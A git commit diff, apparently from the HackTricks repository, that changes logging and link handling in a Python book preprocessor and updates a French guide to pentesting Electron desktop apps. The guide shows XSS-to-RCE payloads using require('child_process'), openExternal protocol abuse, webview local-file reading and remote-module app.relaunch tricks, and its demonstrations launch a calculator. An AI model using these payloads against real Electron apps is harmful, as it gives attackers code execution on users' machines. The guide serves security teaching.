Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-01-07 18:16:11 +00:00
parent c6d2238788
commit afcc34c2a5
3 changed files with 144 additions and 33 deletions

1
.gitignore vendored
View File

@ -10,3 +10,4 @@ scripts/*
book
book/*
hacktricks-preprocessor.log
hacktricks-preprocessor-error.log

View File

@ -7,7 +7,14 @@ from os import path
from urllib.request import urlopen, Request
logger = logging.getLogger(__name__)
logging.basicConfig(filename='hacktricks-preprocessor.log', filemode='w', encoding='utf-8', level=logging.DEBUG)
logger.setLevel(logging.DEBUG)
handler = logging.FileHandler(filename='hacktricks-preprocessor.log', mode='w', encoding='utf-8')
handler.setLevel(logging.DEBUG)
logger.addHandler(handler)
handler2 = logging.FileHandler(filename='hacktricks-preprocessor-error.log', mode='w', encoding='utf-8')
handler2.setLevel(logging.ERROR)
logger.addHandler(handler2)
def findtitle(search ,obj, key, path=(),):
@ -27,7 +34,7 @@ def findtitle(search ,obj, key, path=(),):
def ref(matchobj):
logger.debug(f'Match: {matchobj.groups(0)[0].strip()}')
logger.debug(f'Ref match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
@ -45,19 +52,29 @@ def ref(matchobj):
try:
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
if "#" in href:
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
try:
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
chapter, _path = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
if "#" in href:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
logger.debug(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
print(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
logger.debug(e)
logger.error(f'Error getting chapter title: {path.normpath(path.join(dir,href))}')
sys.exit(1)
@ -69,6 +86,7 @@ def ref(matchobj):
return result
def files(matchobj):
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
@ -76,19 +94,19 @@ def files(matchobj):
try:
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
logger.debug(root)
logger.debug(files)
if href in files:
title = href
logger.debug(f'File search result: {os.path.join(root, href)}')
except Exception as e:
logger.debug(e)
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
logger.error(f'Error searching file: {href}')
sys.exit(1)
if title=="":
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
logger.error(f'Error searching file: {href}')
sys.exit(1)
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
@ -97,6 +115,7 @@ def files(matchobj):
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
@ -126,15 +145,15 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n#]*(?:#(.*))?)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
new_content = re.sub(regex, files, chapter['content'])
new_content = re.sub(regex, files, new_content)
new_content = add_read_time(new_content)
chapter['content'] = new_content

View File

@ -1,4 +1,4 @@
# Applications de bureau Electron
# Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
@ -6,7 +6,7 @@
Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il manque certains des mécanismes de sécurité des navigateurs modernes.
En général, vous pouvez trouver le code de l'application electron à l'intérieur d'une application `.asar`, afin d'obtenir le code, vous devez l'extraire :
Généralement, vous pouvez trouver le code de l'application electron à l'intérieur d'une application `.asar`, afin d'obtenir le code, vous devez l'extraire :
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
@ -36,7 +36,7 @@ Les paramètres du **renderer process** peuvent être **configurés** dans le **
L'application Electron **pourrait accéder à l'appareil** via les API Node bien qu'elle puisse être configurée pour l'en empêcher :
- **`nodeIntegration`** - est `off` par défaut. S'il est activé, permet d'accéder aux fonctionnalités de Node depuis le renderer process.
- **`nodeIntegration`** - est `off` par défaut. S'il est activé, permet d'accéder aux fonctionnalités Node depuis le renderer process.
- **`contextIsolation`** - est `on` par défaut. S'il est désactivé, les processus principal et renderer ne sont pas isolés.
- **`preload`** - vide par défaut.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est désactivé par défaut. Cela restreindra les actions que NodeJS peut effectuer.
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Quelques **payloads RCE** de [ici](https://7as.es/electron/nodeIntegration_rce.txt) :
Quelques **RCE payloads** de [ici](https://7as.es/electron/nodeIntegration_rce.txt) :
```html
Example Payloads (Windows):
<img
@ -95,7 +95,7 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Capture de trafic
### Capture traffic
Modifiez la configuration start-main et ajoutez l'utilisation d'un proxy tel que :
```javascript
@ -111,7 +111,7 @@ Si vous pouvez exécuter localement une application Electron, il est possible qu
## RCE : XSS + nodeIntegration
Si le **nodeIntegration** est réglé sur **on**, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est :
Si le **nodeIntegration** est activé, le JavaScript d'une page web peut utiliser facilement les fonctionnalités de Node.js simplement en appelant `require()`. Par exemple, la façon d'exécuter l'application calc sur Windows est :
```html
<script>
require("child_process").exec("calc")
@ -121,9 +121,9 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
```
<figure><img src="../../../images/image (1110).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
## RCE : preload
Le script indiqué dans ce paramètre est **chargé avant d'autres scripts dans le renderer**, donc il a **un accès illimité aux API Node** :
Le script indiqué dans ce paramètre est l**oadé avant d'autres scripts dans le renderer**, donc il a **un accès illimité aux API Node** :
```javascript
new BrowserWindow{
webPreferences: {
@ -152,12 +152,12 @@ runCalc()
## RCE : XSS + contextIsolation
Le _**contextIsolation**_ introduit des **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
Le _**contextIsolation**_ introduit les **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** afin que l'exécution JavaScript de chaque code n'affecte pas l'autre. C'est une fonctionnalité nécessaire pour éliminer la possibilité de RCE.
Si les contextes ne sont pas isolés, un attaquant peut :
1. Exécuter **du JavaScript arbitraire dans le renderer** (XSS ou navigation vers des sites externes)
2. **Écraser la méthode intégrée** qui est utilisée dans le preload ou le code interne d'Electron pour une fonction propre
2. **Écraser la méthode intégrée** qui est utilisée dans le preload ou le code interne d'Electron pour sa propre fonction
3. **Déclencher** l'utilisation de **la fonction écrasée**
4. RCE ?
@ -192,7 +192,7 @@ Lorsqu'un utilisateur interagit avec des liens ou ouvre de nouvelles fenêtres,
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Ces écouteurs sont **remplacés par l'application de bureau** pour mettre en œuvre sa propre **logique métier**. L'application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise par une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit être ouvert à l'extérieur, en utilisant la fonction `shell.openExternal`.
Ces écouteurs sont **surchargés par l'application de bureau** pour mettre en œuvre sa propre **logique métier**. L'application évalue si un lien navigué doit être ouvert en interne ou dans un navigateur web externe. Cette décision est généralement prise par une fonction, `openInternally`. Si cette fonction retourne `false`, cela indique que le lien doit être ouvert à l'extérieur, en utilisant la fonction `shell.openExternal`.
**Voici un pseudocode simplifié :**
@ -202,7 +202,9 @@ Ces écouteurs sont **remplacés par l'application de bureau** pour mettre en œ
Les meilleures pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait conduire à une RCE via divers protocoles. Les systèmes d'exploitation prennent en charge différents protocoles qui pourraient déclencher une RCE. Pour des exemples détaillés et des explications supplémentaires sur ce sujet, on peut se référer à [cette ressource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité.
**Des exemples d'exploits de protocoles Windows incluent :**
Sur macOS, la fonction `openExternal` peut être exploitée pour exécuter des commandes arbitraires comme dans `shell.openExternal('file:///System/Applications/Calculator.app')`.
**Exemples d'exploits de protocoles Windows incluent :**
```html
<script>
window.open(
@ -224,7 +226,7 @@ window.open(
```
## Lecture de fichiers internes : XSS + contextIsolation
**Désactiver `contextIsolation` permet l'utilisation de balises `<webview>`**, similaires à `<iframe>`, pour lire et exfiltrer des fichiers locaux. Un exemple fourni démontre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :
**Désactiver `contextIsolation` permet l'utilisation de balises `<webview>`**, similaire à `<iframe>`, pour lire et exfiltrer des fichiers locaux. Un exemple fourni démontre comment exploiter cette vulnérabilité pour lire le contenu de fichiers internes :
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
@ -266,14 +268,102 @@ Dans le cas où le **regex** utilisé par la fonction est **vulnérable aux cont
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## Module distant
Le module distant d'Electron permet aux **processus de rendu d'accéder aux API du processus principal**, facilitant la communication au sein d'une application Electron. Cependant, l'activation de ce module introduit des risques de sécurité significatifs. Il élargit la surface d'attaque de l'application, la rendant plus susceptible aux vulnérabilités telles que les attaques par script intersite (XSS).
> [!TIP]
> Bien que le module **distant** expose certaines API du principal aux processus de rendu, il n'est pas simple d'obtenir un RCE uniquement en abusant des composants. Cependant, les composants peuvent exposer des informations sensibles.
> [!WARNING]
> De nombreuses applications qui utilisent encore le module distant le font d'une manière qui **nécessite l'activation de NodeIntegration** dans le processus de rendu, ce qui représente un **énorme risque de sécurité**.
Depuis Electron 14, le module `distant` d'Electron peut être activé en plusieurs étapes en raison de raisons de sécurité et de performance, il est donc **recommandé de ne pas l'utiliser**.
Pour l'activer, il faut d'abord **l'activer dans le processus principal** :
```javascript
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
```
Ensuite, le processus de rendu peut importer des objets du module comme :
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
Le **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)** indique certaines **fonctions** intéressantes exposées par l'objet **`app`** du module distant :
- **`app.relaunch([options])`**
- **Redémarre** l'application en **quittant** l'instance actuelle et en **lancant** une nouvelle. Utile pour les **mises à jour d'applications** ou des **changements d'état** significatifs.
- **`app.setAppLogsPath([path])`**
- **Définit** ou **crée** un répertoire pour stocker les **logs de l'application**. Les logs peuvent être **récupérés** ou **modifiés** en utilisant **`app.getPath()`** ou **`app.setPath(pathName, newPath)`**.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Enregistre** l'exécutable actuel comme le **gestionnaire par défaut** pour un **protocole** spécifié. Vous pouvez fournir un **chemin personnalisé** et des **arguments** si nécessaire.
- **`app.setUserTasks(tasks)`**
- **Ajoute** des tâches à la **catégorie Tâches** dans la **Jump List** (sur Windows). Chaque tâche peut contrôler comment l'application est **lancée** ou quels **arguments** sont passés.
- **`app.importCertificate(options, callback)`**
- **Importe** un **certificat PKCS#12** dans le **magasin de certificats** du système (Linux uniquement). Un **callback** peut être utilisé pour gérer le résultat.
- **`app.moveToApplicationsFolder([options])`**
- **Déplace** l'application vers le **dossier Applications** (sur macOS). Aide à garantir une **installation standard** pour les utilisateurs de Mac.
- **`app.setJumpList(categories)`**
- **Définit** ou **supprime** une **Jump List personnalisée** sur **Windows**. Vous pouvez spécifier des **catégories** pour organiser comment les tâches apparaissent à l'utilisateur.
- **`app.setLoginItemSettings(settings)`**
- **Configure** quels **exécutables** se lancent à la **connexion** avec leurs **options** (macOS et Windows uniquement).
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## module systemPreferences
L'**API principale** pour accéder aux préférences système et **émettre des événements système** dans Electron. Des méthodes comme **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** et **setUserDefault** font toutes **partie de** ce module.
**Exemple d'utilisation :**
```javascript
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Écoute** les **notifications macOS natives** en utilisant NSDistributedNotificationCenter.
* Avant **macOS Catalina**, vous pouviez intercepter **toutes** les notifications distribuées en passant **nil** à CFNotificationCenterAddObserver.
* Après **Catalina / Big Sur**, les applications en bac à sable peuvent toujours **s'abonner** à **de nombreux événements** (par exemple, **verrouillages/déverrouillages d'écran**, **montages de volume**, **activité réseau**, etc.) en enregistrant des notifications **par nom**.
### **getUserDefault / setUserDefault**
* **Interagit** avec **NSUserDefaults**, qui stocke les **préférences** d'**application** ou **globales** sur macOS.
* **getUserDefault** peut **récupérer** des informations sensibles, telles que **les emplacements de fichiers récents** ou **la localisation géographique de l'utilisateur**.
* **setUserDefault** peut **modifier** ces préférences, affectant potentiellement la **configuration** d'une application.
* Dans **les anciennes versions d'Electron** (avant v8.3.0), seule la **suite standard** de NSUserDefaults était **accessible**.
## Shell.showItemInFolder
Cette fonction affiche le fichier donné dans un gestionnaire de fichiers, ce qui **pourrait exécuter automatiquement le fichier**.
Pour plus d'informations, consultez [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## **Outils**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) est un outil pour identifier les erreurs de configuration et les anti-modèles de sécurité dans les applications basées sur Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) est un plugin open source pour VS Code pour les applications Electron qui utilise Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables
- [**Electro.ng**](https://electro.ng/): Vous devez l'acheter
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) pour vérifier les bibliothèques tierces vulnérables.
- [**Electro.ng**](https://electro.ng/): Vous devez l'acheter.
## Laboratoires
## Labs
Dans [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s), vous pouvez trouver un laboratoire pour exploiter des applications Electron vulnérables.
@ -309,5 +399,6 @@ npm start
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
- Plus de recherches et d'analyses sur la sécurité d'Electron dans [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
{{#include ../../../banners/hacktricks-training.md}}